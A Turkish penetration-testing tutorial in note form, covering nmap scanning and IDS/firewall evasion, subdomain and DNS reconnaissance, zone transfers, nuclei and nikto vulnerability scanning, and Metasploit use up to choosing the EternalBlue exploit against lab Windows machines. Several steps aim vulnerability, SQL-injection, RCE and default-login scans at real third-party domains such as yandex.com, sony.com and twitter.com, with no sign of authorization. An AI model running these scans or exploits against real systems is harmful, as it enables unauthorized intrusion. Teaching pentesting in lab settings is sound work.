Siber Güvenlikte Sızma Testi: Adım Adım Rehber ve Araç Kullanımı


Net Discovery Aşaması:
nmap -sP 192.168.1.0/24 : bu ağdaki ip adreslerinin hangilerinin akti olduğunu bulur

nmap 192.168.1.0/24 –top-ports=100 –open: en sık kullanılan 100 port sdece açık olan makinalar da tarama yapar

cat btk-network-analiz|grep Nmap|awk '{print $6}'>ip : ip dosyasına btk dosyasındaki ip leri atamak içi kullanılan bir komut

daha sonra nano ip diyerek açıp bir kaç düzenleme yaptıktan sonra ctrl + x, y ,enter
 
sonra cat ip ile okuyun

netdiscovey ile daha güzel bir çıktı alabilirsin.(araştır)

sudo netdiscover -r 192.168.1.0/24 -i eth0: bu komut yerel ağda tarama yapara

-m file: Bir dosyadaki bilinen adresler üzerinden tarama yapar.

-F filter: Paket filtrelemesi yapar. (Normalde arp olarak filtreler.)

-s time: Tarama yapılırken gönderilen paketler arasındaki bekleme süresini ayarlar. (Milisaniye cinsinden yazılması gerekir.)

-n node: Tarama için son IP oktetini ayarlamak için kullanılır. (2-253 arastır)

-c count: Paketlerin gönderilme miktarını gösterir.

-f Hızlı modu aktif hale getirir, daha hızlı tarama yapar. Otomatik taramalar için önerilir.

-d Aracın konfigürasyon dosyasındaki ayaları göz ardı ederek tarama yapar

-S İstekler arasındaki zaman kaybını görmezden gelir

-P Taramayı daha kolay dışa aktarılabilir bir şekilde ekrana yazdırır.

-N Taramayı yazdırırken header kısmını (Tarama durumunun yazdığı kısım) göstermez.

Nmap Hedef Tanımlama:


Arp tablosu: arp -a


kendi ipmizi direk görmek için: hostname -I


sudo netdiscover -p -r 192.168.126.0/24 -i eth0:


-p: pasif tarama yapar yani karşılıksız arp yanıt gibi çalışır daha yavaş ama daha güvenlidir.


Nmap -Pn: ping atmadan port taraması yapmayaçalışır. Filtreli portlar normal ping e cevap vermeyebilir. Bu gibi durumlarda kullanılır.


Çalıştığımız makineye ulaşmak için: Typhoon bu makineyi kurun ve her iki makineninde aynı ağda olduğundan emin olun. Bunun için custom dan NAT olarak aynı seçebilirsin.


Bu zafiyetli bir makinedir. Bunun için özel alan olsun.


Nmap yandex.com.tr gibi nmap e bir domain de verilebilir.













Diyelim ki; bir sızma testinde bakmamız gereken çok fazla subnet var


Bunun için bir liste bunu yazarak yapabiliriz. Örn:


nano iplist-btk


192.168.126.0/25


192.168.126.0/24


yandex.com.tr


10.0.0.0/24


bunları yazdıktan sonra: ctrl + x, y, enter


daha sonra: nmap -iL iplist-btk diyerek kaydelimiş listde içerisindekiler satır satır işleme alırnır.


Nmap varsayılan olarak ilk 1000 en çok kullanılan portlara bakar


mesela bir ip aralığında bazı subnetleri çıkarmak için ise:


nmap 192.168.126.0/24 –exlude 192.168.126.129


--exclude: bu ip hariç
Nmap Port Tanımlaması:


Nmap de belirli bir portu taramak istediğimizde:


nmap -p 80 192.168.126.128


tüm network için yapılbilir ve birden fazla da belirtilebilir:


nmap -p 80,443 192.168.126.0/24


hem ip hem de port da aralık da verilebilir:


nmap -p 80-650 192.168.126.128-254


veya bazı ip adresleri:


nmap -p 80-650 192.168.126.128,200,210,240


sadece açık olanları görmek istiyoruz mesela:


nmap -p 80-650 192.168.126.120-255 –open


tüm portları tüm ağ için tara ama sadece açık olanları göster:


nmap -p 0-65535 192.168.126.0/24 –open


veya: nmap -p- 192.168.126.0/24 –open


yine aynı şekilde en sık kullanılan port ları bulmak için:


nmap 192.168.126.128 –top-ports=5000


en sık kullanılan 5000 port taranır bu seferde
Nmap Tarama Tipleri:


Mesela nmap ile tarama yaptık ve closed olarak döndü bu şu anlara gelebilir:


port açık ama bu port da herhangi bir servis çalışmıyor


port açık ama filtrelenmiş(güvenlik duvarı)


portun durumu belirsizsdir


şimdi bunlar port durumlarını nasıl kontrol ederiz ona bakalım


ama bunu anlayabilmemiz içinde three way handshake e bakmamız gerek.


Bu tcp protokolüdür 3 yollu el sıkışma


biz bir istekte bulunuruz: SYN(seq=100)


onaylanırsa cevap döner: SYN-ACK(seq=200,ack=100 + 1)


sonra biz onaylanan cevaba karşılık veririz: ACK(seq=101 + 1,ack=200 +1)


eğer biz nmap e belirtmez isek yarı açık tarama syn taraması ayapar (-sS)


bu yötemde de TCP protokolü kullanılır


aynı zaman -sT de bu mantıkta çalışır ama:


-sS: burada bir syn paketine karşılık syn-ack gelirse açık olarak adlandırılır


ki bu da hedef makinenin portu açık olarak değerlendirilebilir ama şöyle bir şeyde söz konus:


diyelimki karşı tarafta syn-poxy diye bir teknoloji var ve makineye gönderilen tüm istekler de open olarak dönecek.


Kapalı dahi olasa bize açık mış gibi cevap dönebilir.


Bu durumda böyle karşı tarafta böyle bir teknolojinin olduğundan şüphelenmemiz gerekiyor.


-sT: bu durumda da karşı tarafın portlarının gerçekten açık olup olmadığını anlamanız gerekmektedir.


-sT => syn => syn-ack => ack olarak 3 yollu el sıkışma ile bunu belirleyebiliriz


nmap -sT 192.168.126.128 (bu bizim kurduğumuz typhoon makine ipsi sizde farklı olabilir.)


en başlarda gödüğümüz -sP (pin) 5.0.0 dan sonra -sn kullanılmaya başlandı


nmap -sP 192.168.126.0/24: ağdaki aktif olan makinalerı gösterir


UDP port taraması da yapabilir:


UDP: kısaca gönderilen verinin gidip ditmediğinin kontrol edilmediği protokoldür.


Amaç: canlı yayın, görüntül konuşma ses gibi düşünebiliriz. Bu durumlarda veri olabildiğince hızlı gider ama veri eksikliği kontrol edilmez.


Nmap -sU 192.168.126.128


bu biraz uzun sürdüğünde kısıtlayalım


nmap -sU 192.168.126.128 –top-ports=10


burada açık kapalı direkt gelir


NullScan: burada paketler flag(bayrak) sız olarak gönderilir.


IDS/IPS güvenlik yapılarında atlatma şansı olur ve genelde bayraksız paketler filtrelenmez ve tespit edilmesi daha zordur.


Nmap -sN 192.168.126.128
Nmap Ek Parametreleri:


Karşı tarafta çalışan işletim sistemini bulmak için:


nmap 192.168.126.128 -O


burada tahmini bir cevaptır. Pakete verilen anıt/davranışa göre tahminlerde bulunuru.


Running: Linux 3.X|4.X : linux un 3.X ve 4.X versionlarından biri gibi


nmap ip girdiğimizde karşı tarafta open olarak bazı port bilgileri var


ama nmap bunu örn: 21 port açıksa kesin ftp vardır gibi tahminde bulunuyor.


Ama bizim bunu kesin olarak doğrulamamız gerek. Nasıl


bu durumda da versiyon taraması yapmamız gerek:


(kevgir makinesi bu) nmap 192.168.126.131 -sV


-sV: bu parametre sayesinde sadece açık portları bulmakla kalmaz aynı zamanda bu açık portlarda çalışan servislerin version bilgilerinide alırız. Ama daha yavaş olacaktır.


nmap 192.168.126.128 -sV -version-intensity 9 -p 20-600:


-version-intensity: önüde level bilgisi var 0-9 aralığında ve sayı arttıkça tarama zamanı ve detay bilgisi artar. Bunun için sadece sürece gözlemlemek adına belirli port aralığı verdik.


Tümü için: nmap 192.168.126.128 -sV -version-intensity 9 -p-


eğer tüm ağ için yapmak istersek: nmap 192.168.126.0/24 -sV -version-intensity 9 -p-


bu bilgiler ediildikten sonra çalışa servislerin ve version bilgilerinin internette daha önce bulunmuş zafiyetlerini araştırmak gerekiyor.


“ NOT: BİR ARAMA YAPARKEN GOOGLE DORK KULLAN VE ARCHİVE.ORG YE DE BAKMAYI UNUTMA!!! ”


nmap 192.168.126.131 -A:


dediğimizde, versiyon, port, işletim sistemi ve bazı script ler çalıştırır


NOT WİN İLE HABERLEİMEK İÇİN WİNDOWS FİREWALL U KAPATMANIZ GEREK!!


tarama çıktısını bir dosyaya kaydetmek için:


nmap 192.168.126.132 -oN akademi (bu da windwos7 makinesi)


nano akademi yazarak çıktının kaydedildiğini görüntüleyebiliriz


eğer xml olarak çıktı almak istersek:


nmap 192.168.126.132 -oX akademi2


nmap 192.168.126.131 -oG


kolayca aranabilir olarak kaydeder. Bu format, komut çıktısını filtrelemek ve işlemek için uygundur. Özellikle hızlıca bilgi çekmek amacıyla kullanılır.


Eğer birden fazla farklı şekilde çıktı almak için:


nmap ip -oA akademi dedikten sonra 3 farklı çıktı oluşturur


uzantılarını kendi verdiğğinden ayırt etmesi kolaydır. Ls -l ilelisteleyip görebilirsin veya ls -l|grep akademi3 ile de bunları ayıklayabilirsin


zamanlama konusunda hızlı tarama yapmak blocklanmaya yol açabilir. Bunu için -T parametresi 0-5 arasında değer alır ve varsayıla 3 tür ama karşı tarafta bir firewall/filtered varsa çok yavaş mod olan -T1 i seçmek çok mantıklı olacaktır. Ama tabikide varsayılan olarak en sık 1000 port tarandığından biraz uzun sürebilir. Bunu kademeli olarak da yapabilirsiniz. Tarana portları bir list içerisine alıp bunu nmap e verip bu portların hariç olduğunu belirtirsiniz mesela. Ve -p- ile tüm portları tarayıp nihai sonucu bekleyebilirsiniz.


Örn olarak: nmap 192.168.126.131 -T1 -top-ports=2


2 portun taranması benim cihazımda 45.03sn sürdü eğer -T2 yapsaydık bu süre 1.23sn oluyor. Ardaki fark uçurum ama ağda farkedilmeden güvenli tarama yapmamızı sağlar güvenlik için.


Diyelimki karşı tarafta ping e cevap vermeyecek şekilde konumandırılmiş bir güvenlik duvarı var ne yapacağız?


Nmap ip -Pn ile hiç ping atmadan port taraması yapacaktır


yani direkt synScan yap diyebiliyoruz


nmap version bilgisi:


nmap -V


diyelimki çok uzun soluklu bir tarama yapıyoruz:


nmap 192.168.126.0/24 -vv --open -Pn -top-ports=5000 -sT -sV -O -oA akademi4


-vv: bize daha çok geri bildirim verecek


--open: sadece durumu open olan lar listelenecek


-Pn: hiç ping atmanda direk synScan taraması yapacak


-top-ports=5000: en sık 5000 port taranacak


-sT: Tcp threHandShake ile portun gerçekten açık mı ona bakacak


-sV: bulunan açık portların version bilgileri alınacak


-O: işletim sistemi bilgisi alınacak


-oA: ve 3 tipde dosya yazacak


tab bunun için root yetkisi gerek komut başına sudo ekleyerek çalıştırın


eğer DNS çözümlemesi yapmadan biraz daha hızlı bir tarama yapmak istersek:


nmap 192.168.126.0/24 -vv --open -Pn -top-ports=5000 -sT -sV -O -oA akademi4 -n


eğer daha detaylı bilgi almak istiyorsak ve tm ağ ve portlarda yapmak itiyorsak:


sudo nmap 192.168.126.0/24 -vv --open -Pn -p- -sT -sV -version-intensity 9 -O -oA akademi4 -n


Not: win ler de daha iyi çalışması için: ctrl + r SystemPropertiesPerformance sonra advece(gelişmiş) ve sonra 3. kısıma tıkla ve onayla.
Nmap Scripting Engine:


Lua dili ile geliştirimiş nmap üzerinde çok fazla şey yapabileceğimiz bir şeydir.


Nmap Scripting Engine


mesela karşı tarafa bir script taraması yapabiliriz belirli bir port veya portlara:


nmap -p 139, 445 192.168.126.133 (bu win 10 makinesi) -sC (bu parametre ile)


scripleri update etmek için: sudo nmap –script-updatedb


mesela belirli bir açık porta göre nokta atışı script çalıştırabiliriz:


Not: bir önceki ni sudo ile çalıştırmak için: sudo !!


nmap –script=smb-os-discovery 192.168.126.133


win 10 da çalışmadı win 7 de bakalım:


nmap –script=smb-os-discovery 192.168.126.132


--script=smb-protocols: bununla karşı tarafın hangi smb protocolu kullandığını bulabiliriz ve:


nmap --script=smb2-security-mode -p 445 192.168.126.133 ile baktığımızda:


Mesaj imzalama etkin, ancak zorunlu değil diye mesaj verdi.


Bu da potansiyel bir güvenlik açığı oluşturabilir.










Mesela bir script ile ilgili bilgi görmel istersek:


nmap --script-hel smb2-security-mode yaptığımızda hem ilgili kaynağa gidebilir hemde burada açıklamaları okuyabilirz.


Mesela nmap in scrip dizininde geçen smb zafiyetlerini görmek istiyoruz:


ls -la /usr/share/nmap/scripts/|grep smb ile bunları görüntüleyebiliriz.


Mesela smb lerin bir kısmını karşı tarafta denemek istiyoruz:


nmap --script=smb* 192.168.126.133 -p 445


burada tüm smb leri smb nin çalıştığı porta denettirdik


win 10 da bu çıktıyı aldık birde win7 ye bakalım:


nmap --script=smb* 192.168.126.132 -p 445


win7 de oldukça fazla bilgi aldık.


Başka bir kullanımda:


nmap --script=smb-vuln-* 192.168.126.132 -p 445
Nmap Firewall Bypass:


Diyelim ki, nmap taramasını karşı taraf firewall tanıyor. Bu noktada paketler parçalayarak anlaşılması güç hale getirip işimizi kolaylatırabiliriz.


sudo nmap 192.168.126.128 -f: -f ile bunu yapabiliriz.


Daha çok parçalamak için -ff kullanılmalı


buda imza tabanlı detection(tespit) yapan teknolojilerden kurtulmasına yönelik belli başlı hareketler yapabiliriz


-D parametresi ile başka bir ipden sürekli hedef ip ye paket gidiyormuş gibi yapılabilir


sudo nmap 192.168.126.131 -ff -D 192.168.126.132


karşı tarafta boş alanlan oluşturarak kendi ip mizi unutturmaya çalışabiliriz


sistemde gereksiz yük oluşturmamak için:


diyelim ki koca bir ağı tarıyoruz ama bu aşamada her seferinde 1 tanesine yönelik tarama yap:


sudo nmap 192.168.126.0/24 -ff -D 192.168.126.132 -max-parallelism 1


daha sağlık sonuç için burada zaman kavramı çok önemli -T1 veya -T2 bu açıdan öenmlidir.


Sudo nmap 192.168.126.0/24 -ff -D 192.168.126.132 -max-parallelism 1 -T2


ek olarak nasıl ilerlediğini görmek için: -vv parametresini kullan


firewall bypass:güvenlik duvarı atlatma denemeleri yapar


Nmap 192.168.126.132 -script=firewall-bypass
Project Discovery Araçları:
Öncelikle subfinder i indir (subfinder)


daha sonra subfinder -d yandex.com veya go/bin/subfinder -d yandex.com.tr


bunu bir dosyaya kaydedelim: subfinder -d yandex.com -o yandex-domains


daha sonra httpx i kurun (httpx)


ve bulduğumuz subdmain leri analiz edeceğiz:


httpx -ip -tech-detect -l yandex-domains -o yandex-analiz


burada ise bulduğumuz domainleri list formatta ip ve bunlarda çalışan teknolocileri bulmaya çalışarak bir dosyay kaydedecek


yani şunun gibi: https://360.yandex.com [87.250.250.16] [React,Yandex.Metrika]


domain – ip – çalışan teknolojiler


httpx -ip -tech-detect head 100 yandex-domains -o yandex-analiz


not: bir dosya içeriğini çamadan silmek için: truncate -s 0 dosya_adi


bu biraz uzun süreceğinden dosya boyutunu kısaltalım:


head -n 100 yandex-domains > yandex-domains-top-100


httpx -ip -tech-detect -l yandex-domains-top-100 -o yandex-analiz
şimdi de dnsx aracını kuralım(dnsx)


verilen domainde ciddi anlamda dns kayıtlarını döndürür


daha öncesinde yandex-domains-top-100 dosyamızı kullanarak dnsx te bu kayıtlara bakalım


dnsx -l yandex-domains-top-100 -a -txt -ptr-mx -ns -resp


typhoon makinemizde 53 portuna bakalım pinscan ve dns çözmleme yapmadan:


sudo nmap 192.168.126.128 -p 53 -Pn -n


ayrıca aktif tarama yapmak içib dnsenum domain.com şeklin kullanılabilir.


Dnsenum domain.com


şimdi makinemizde version taraması yapalım version hassasiyetini en yükseye alarak:


sudo nmap 192.168.126.128 -p 53 -Pn -n -sV --version-intensity 9


mesela burada bir domain var mı, varsa bu dns deki zone dosyasını çekebilir miyim?


Buna zone transferdns zafiyeti denir.


Şöyle yaparak karşı tarafta domain varmı ona bakalım:


nmap -p 445 192.168.126.128 -script=smb-os-discovery


bu domaini şurada yakaladık: FQDN: typhoon.local


dig aracı ile de mesela bir domanine ait dns kayıtlarına ulaşabiliriz:


dig A yandex.com ile a kayıtlarını


dig ns yandex.com ile name server larını keşfedebilirsin


eğer gelmez ise dig ns yandex.com @8.8.8.8 ile google a sorarak bulabiliriz


şimdi dig ile typhoon.local domainde 53 portundan tüm zone dosyaları çekmeye çalışalım:


dig axfr: zone dosyaları demek


dig axfr @192.168.126.128: git buraya istek yap


dig axfr @192.168.126.128 typhoon.local:


typhoon.local domaininin şu ipden tüm zone dosyalarını ver


@192.168.126.128 e sormamızın sebebi typhoon.local in name serveri bu ip o yüzden bu ipye ait makineye sorduk.


İsterseniz benzer bir uygulamayı zonetransfer.me üzerinde siz yapın


sudo dig ns zonetransfer.me


sudo dig axfr @nsztm1.digi.ninja. zonetransfer.me


böylelikle tüm zonetransfer kayıtlarını aldık


eğer bu yöntem ile çekebilirseniz subfinder kullanmaya gerek olmayacak her şeyi almış oluyoruz zaten
şimdi en kritik araç olan nuclei şimdi bunu kuralım


daha sonra daha önceki araçlar ile birlikte bunu kullanalım:


subfinder -d yandex.com -o yandex-s && httpx -l yandex-s -o yandex-h && nuclei -l yandex-h -o yandex-n -t cves/ -severity critical


önce sudomainleri bulup bir dosyaya kaydediyoruz


sonra aktif olanların kontrol edip http/https olup olmadıklarını kontrol ediyoruz


sonra aktif hedefleri test edip critical güvenlik açıı olanları raporluyoruz


ama şunu indirmeyi unuttuk: nuclei -update-templates


kullanıcı ev dizinine indirir nuclei-templates diye dizinde


bu komutu çalıştırın: subfinder -d yandex.com -o yandex-s && httpx -l yandex-s -o yandex-h && nuclei -l yandex-h -o yandex-n -t technologies


ve bitmesini bekleyin


daha sonra: cat yandex-n|grep -v -i '^INF'


çalıştırın ve bakalım neler bulumuş görelim. Kendiniz de nuclei aracı hakkında araştırma yaparak daha fazla bilgi alabilirsiniz.
Nulei Aracını Keşfetmeye Devam Ediyoruz


Mesela şuraya bakın


burada tag olarak da verebiliriz ve zafiyetin varlığına ilişikin tarama yaptırtabiliriz:


nuclei -l yandex-h -t cves/ -severity medium,high,critical -tags cve2021


ve cve2021 deki zafiyetlere ilişkin tarama yapabiliriz


böy bir configürasyon da yapılabilir


arada kendinizi komutları iç içe kullanmak için bilgilerinizi tazelemeyi unutmayın:


cat yandex-h -n|tail -n 1|awk '{print $1}'


bununla toplam satır miktarını aldım ama


grep -c “” yandex-h ile de yapabilirdim


;)


şimdi de şuraya bakın


daha sonra:


nuclei -l yandex-h -t default-logins/


bir şey çıkmayabilir ama kendiniz de denemeler yapabilirsiniz


şimdide: şuraya


nuclei -l yandex-h -t exposed-panels/


bu da dışa açık panelleri bulmada işe yarayabilir.


Mesela birden fazlada yapabiliriz ek olarak


nuclei -l yandex-h -t misconfiguration/ -t exposed-panels/


yeni eklediğimiz de hatalı konfigürasyonları bulur


ek olarak yandex-h ye http://kendi.ipniz ekleyiniz


teknoloji keşfi de yapabiliriz:


nuclei -l yandex-h -t technologies/


sql inject denettirelim şimdide:


nuclei -l yandex-h -t cves/ -severity medium,high,critical -tags sqli


nuclei -l yandex-h -t cves/ -severity medium,high,critical -tags sqli,rce













WAF Tespiti (Web Application Firewall)


Not: yeni ip: sudo dhclient -r eth0 sonra sudo dhclient eth0 sonra ifconfig yeni ip hazır


karşı tarafta waf varmı bunun tespitine yönelik neler yapabileceğimize bakalım


wafw00f:


direkt url alır. Verilen url e normal isteklerden sonra waf ların kızacağı bir istek yapıp karşı tarafta kızarsa tama burada waf war diyebilir


wafw00f https://sony.com


sonuç olara:


İstek bir tarayıcıdan yapılmadığında yanıt farklıydı.


Normal yanıt kodu "403" iken, değiştirilmiş bir isteğe yanıt kodu "200"dür


yani belirli türdeki istekler engellernirken tarayıcı istekleri kabul ediliyor bu da waf ın arkasında çalıştığına yönelik bir kanıt olabilir


daha belirgin bir sonuç için:
wafw00f https://blog.guzzy.dk

bu araç karş taraftaki teknoloji anlamanıza ve bypass etmenize yardımcı olabilir.

Nuclei de de var waf detect

önce bunu bulalım:

şu dizin içerisinde: nuclei-templates

tree nuclei-templates/http/technologies/*.yaml -L 2|grep waf

nuclei-templates/http/technologies/waf-detect.yaml

bunu kullanmak için:

nuclei -l yandex-h -t technologies/waf-detect.yaml

daha iyi sonuç için yandex dosyamıza:

kendi ip miz, zafiyetli makine ipsi ve ek olarak

https://kendi.ip

https://zafiyetli.makine

https://prismacsi.com

https://sony.com

https://twitter.com

https://blog.guzzy.dk

nüclei daha güzel sonuç verdi

mesela github da waf detection araması yapalım:

şunu bulduk

indirmak için: git clone https://github.com/Ekultek/WhatWaf.git

daha sonra indirilen dosyaya geç: cd WhatWaf

daha sonra chmod +x setup.py

chmod +x install_helper.sh

./install_helper.sh

kurulum tamamlanınca pip install -r requirements.txt

eğer hata alırsnız sonuna: --break-system-packages ekleyiniz

daha sonra her yerden erişilebilir olması için:

önce aktif shell öğren: echo $0

bash, zsh gibi olabilir.

Daha sonra pwd ile waf dosyasının tam dizini al

Nano ~/.zshrc (sonuna rc ekleyin ve açın)

ctrl + end ile en sona git

eğer yoksa

export PATH=tam dizini yaz

varsa:

satır sonuna git : koy ve tam dizini yaz ve ctrl + x, y, enter sonrada: source ~/.zshc yap

ama olmadı whatwaf dizinice geçin:

python3 whatwaf -l yandex-h çalıştırın

yandex-h dosyanız neredeyse onun dizinini verin mesela

python3 whatwaf -l ../../yandex-h1 iki üst dizin içerisinde gibi.

Zafiyet Keşifleri


Nmap:


bunun için zafiyetli makinede birkaç deneme yapalım:


sudo nmap 192.168.126.128 -p 80,443 -script=http-vuln-*


bu tarama ile nmap deki http zafiyetlerinin http portlarında denenmesini sağlayalım zafiyetli makine üzerinde.


Bulamadık ama her zaman bulacağımız anlamına gelmez :)


bir de şunu deneyin:


daha önce smb ile ilgili birşeyler bulmuştuk:


sudo nmap 192.168.126.128 -p 445 -script=smb-vuln-*


açığımız: smb-vuln-regsvc-dos


araştırın.


Nikto:


http servislerine ve web sunucularına yönelik zafiyet araştırması için oldukça sık kullanılan bir araçtır.


Önr: nikto -h 192.168.126.128


bana bu ipdeki zafiyetleri araştır demek.


nikto -h 192.168.126.128:8080 diye de port belirtebilirsiniz


veya: nikto -h 192.168.126.128 -p 80,8080


burada 80 port üzerinde önemli bir zafiyet var bakalım nikto onu bulabilecek mi:


evet buldu: shellshock


bu zafiyet başlı başına bir sorun direk sunucu üzerinde komut çalıştırabilirsiniz.


Oldukça tehlike arz eden bir durum.


Nuclei de de bulması gerek aslında şunu bir deneyin: nuclei -u http://192.168.126.128 -t http/vulnerabilities/other/


eğe nuclei kullanılacak ise patern lerde araştırma yaparak daha da geliştirebilirsiniz mesela adam orada test.sh yapmış ama nuclei test olarak bakıyor ve normalde bulması gerekirken bulamıyor. Ama nikto da iyi sonuçler verir.










Wfuzz:


bu araç güçlü bir web güvenlik tarayıcısıdır.


Aynı şekilde gobuster, dirb gibi araçlar da işe yarar:


gobuster dir --url http://192.168.126.128 --wordlist /usr/share/dirb/wordlists/big.txt


dirb http://192.168.126.128


eğer görsel bir arayüz isterseniz: dirbuster http://192.168.126.128


burada bazı yerleri doldurarak görsel bir arayüz elde edebilirsiniz.


Ve tüm web sitesinin haritasını görsel olarak çıkarabilirsiniz.


Mesela dosya olarak seclist ten seçebiliriz:


sudo wfuzz -c -v -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://192.168.126.128/FUZZ --hc 404,403


NOT: araştırma yaparken bulunan servisler versiyonlar arkada çalışan teknoloji bilgileri gibi bunların her birini araştırmak ek olarak zafiyet taraması yapmak oldukça önemlidir.


Bunun için https://www.exploit-db.com/ ye de bakabilir ve notlarınızı alıp ilerleyebilirsiniz. Ve ilk fırsatta bunları deneyip karşı tarafta çalışıp çalışmadığını kontrol etmelisiniz.
Exploit Aşaması: Giriş + Ek Bilgi


Remote exploit: bir zaiyeti uzaktan sömürme


local exploit: sızılan cihazda yetki yükseltmesi


web exploit: web zafiyetini sömüren kod parçacığı


dos exploit: bu exploitler direk servis dışı bırakma ataklarına sebebiyet verir


zeroday/0day/1day exploit: henüz kimsenin bilmediği veya kısıtlı bir yere sahip olan bir zafiyet ama henüz keşfedilmemiş public ortama düşmemiş


payload: karşı tarafta yapılmak istenen aktivite:


örn: firewall kuralı yazılsın, bir kullanıcı açılsı, bir komut çalıştırılsın vb.


Bu exploit kodlarına https://www.exploit-db.com/ den erişebilirsiniz.


Ek olarak bir zafiyeti sömürmek için kullanacağınız bir exploit dsoyası var


ama bir türlü çalışmdığı zamanlar da olacaktır.


Bu olduğunda exploitin kaynak kodunu kontrol ederek çeşitli düzenlemeler yapmanız gerekecektir. VE HER ZAMAN ONE SHUT hakkının olduğunu bilerek tüm adımlarının doğruluğu kontrol ettikten sonra işleme almalısın aksi halde kendi ayağınıza sıkabilirsiz.
Exploit Aşaması: Metasploit 1


Sudo msfdb init ile database yapılandırması yapalım


Sudo msfconsole ile giriş yapalım


db_status ile veri tabanına balı olup olmadığımıza bakalım


worksapce:


mesela farklı firmalarda pentest yapıyorsunuz bunların her birini ayrı olarak ele alıp raporlanmasında oldukça yararlıdır ve izole ortam oluşturursunuz kendinize:


oluşturma:


workspace -a firma_A


workspace -a firma_B


silme:


workspace -d firma_A


bir diğer izole alana geçmek:


workspace firma_B


var olan workspace leri listeleme:


workspace


farklı görseller getirmek: banner


içeride bir çok farklı veri tipi tutulur. Mesela nmap ile bir tarama yapalım çıktı xml olsun zafiyetli makinede detaylı bir tarama gerçekleştirelim daha sonra bu dosyayı metasploit ortamımızda oluşturduğumuz: workspace btk_sizma_testi da aktif ken bura import edelim ve birkaç komut çalıştırarak bakalım:


sudo nmap 192.168.126.128 -Pn -sT -sV -version-intensity 9 -O -A -oX 128.xml


db_import /home/<kullanici_adi>/128.xml


hosts


services


vulns


creds


aynısını metasploit içerisinde yapalım


db_nmap 192.168.126.131 -Pn -sT -sV -version-intensity 9 -O -A


db_stats ile ek olanları görebilirsin


mesela yüklediğiniz bir bir dosyanın tüm ilişkilerini silmek için: db_delete hosts -t 128


eğer veri ilgili veri tabanını silmek için: db_delete -d btk_sizma_testi


değiştirmek için: db_connect -d default


veri tabanı bağlanısı kesmek için: db_disconnect


veri tabanını dışa aktarmak için: db_export -f xml /ilgili_dizin/my_backup.xml


-f xml: dosya tipini belirler genelde xml dir nmap tarama sonuçları.


db_destroy: aktif olunan worksapce içeriğini siler
Exploit Aşaması: Metasploit 2


Hosts dediğimizde iki makineni bilgisinide görmüş oluruz ama karışık bir şekilde


services -h ile yardım menusunden ihtiyacımıza uygun parameteri bulabiliriz


services -S http dersek http ile ilgili bize getirecektir.


Ya da -p 21 ile direk port numarası ile de tarama yaptırtabiliriz


services -S vsftp gibi


help komutu ile metasploit de çalıştırabileceğiniz mevcut komutlar yer alır


metasploit de bir zafiyeti aratabiliriz.


Bunun için yeni bir terminalde bir zafiyetli makine üzeirnde smb scritp i çalıştıralım:


sudo nmap -p 445 192.168.126.131 -script=smb-vuln-*


win7 ultimate de olmadı ama şu şekilde googlede arama yarparsanız


intitle windows 7 pro sp1 site archive


gibi bir arama yapar indirebilirsiniz fakat oldukça yavaş inebilir.


Neyse şimdilik indi farz edelim ve ms17-010 zafiyeti keşfetti diyelim


biz bunu zfiyetin metasploit de olup olmadığını nasıl bulabiliriz?


Search -h ile parameter hakkında bilgi alabilirsiniz


search ms17-010


karşımıza çıkan listede: auxiliary/scanner/smb/smb_ms17_010


bunun keçtiği satır numarasını


info 24 şeklinde belirtelim hakkında bilgi alalım


use 24 ile bunu aktifleştirebilir ve ardından options ile Required kısmında yes olanları belirtilmesi gerek bunları bakmış olmamız gerek


baktığımızda ise gerek olanlar:


name_pipes zafiyet tespiti içi ihtiyacı olan pipe nameler ki bu varsayılan olarak verilmş


rhosts hangi hedef/hedeflerin olduğunu belirtmet


rport hedef port burada varsayıla olarak 445


threads eş zamanlı olarak kaç tarama yapılması gerek onu istiyor


set ile bunları doldurabiliriz:


tek hedef için: set RHOSTS 192.168.126.132


veya worksatation da eklediğimiz 445 portu açık olanları eklemek için:


services -p 445 -R


set THREADS 10


daha sonra options ile bunları kotrol edelim ve run dedikten sonra bilgilerin geldiğini görebilirisiniz.


Modulu devre dışı bırakmak için: back


şim yeni makinelerimiz üzerinde tes edelim makine adlar:


win7 pro sp1 x64 ve win server 2008 r2 x64


bunlara ulaşmak için: intitle win7 pro sp1 x64 site archive.org gibi google dorking ile ulaşabilirsiniz


bu makineleri üzerinde test yapalım


en basit olarak: sudo nmap 192.168.126.134,135 -top-ports=100 -sC -n -Pn


veya sudo nmap 192.168.126.134,135 -sV -p- -sT -n -Pn -A -O -script=vuln


bu zaman alabilir veya direkt önce port taraması sonra da 445 üzerinden bir smb taraması yapabiliriz: nmap 192.168.126.134,135


bunu için sudo nmap 192.168.126.134,135 -sV -n -sT -Pn -p 445 -script=smb-vuln-*


iki makinede de ms17-010 zafiyeti çıktı.


Şimdi metasploit de yapalım:


önce veritabanı için: sudo msfdb init


sudo msfconsole


workspace ile çalışma ortamlarına bakalım


kendi ortamımıza geçelim: workspace btk-sizma-testi


db_import /<tampath>/128.xml ile daha önce ki taramamızı içe aktaralım


şimdi burada bir nmap taraması yapalım


db_nmap 192.168.126.134 -sV


şimdi services -s 445 ile smb portları görüntüleyelim


aynı şekilde metasploit de ms17-010 zafiyetini aratalım


search ms17-010


şu satırı bulun: auxiliary/scanner/smb/smb_ms17_010


önce info 24 ile gerekliliklere bakabiliriz


satır numarasını use 24 yazıp aktif edelim


options ile aktif ettiğimiz zafiyetin gereliliklerine bakabiliriz


düzenleme için set anahtar kelimesini kulanacağız:


önemli gereklilikler Required altında yes olarak belirtilir diğer lerini de yaparsanız daha iyi olabilir.


Namepipes varsayılan, rport varsayılan ve threads varsayılan


biz rhosts, ve threads i yapacağız:


tek hedef için: set RHOSTS 192.168.126.134


eğer çalışma prtamındakileri eklemek istersek: services -p 445 -R


445: smb zafiyetini sömürmek için bu portu açık olan hedeflerin hepsini alır tabi ekliyse


set THREADS 10


sonra options ile kontrol edin ve run deyin


çıktı:


[+] 192.168.126.134:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)


[-] 192.168.126.128:445 - Rex::HostUnreachable: The host (192.168.126.128:445) was unreachable.


Birinde var diyerinde yok


back ile eski hale dönebilirsin
Exploit Aşaması: Metasploit 3


Şimdi devam edelim: search ms17-010


şunu seçelim: exploit/windows/smb/ms17_010_eternalblue


use ile satır numarası girin


options ile verilmesi gereken değerleri görelim ve set ile bunları verelim


show targets ile bu exploitin hangi sistemlerde çalıştığını görebiliriz


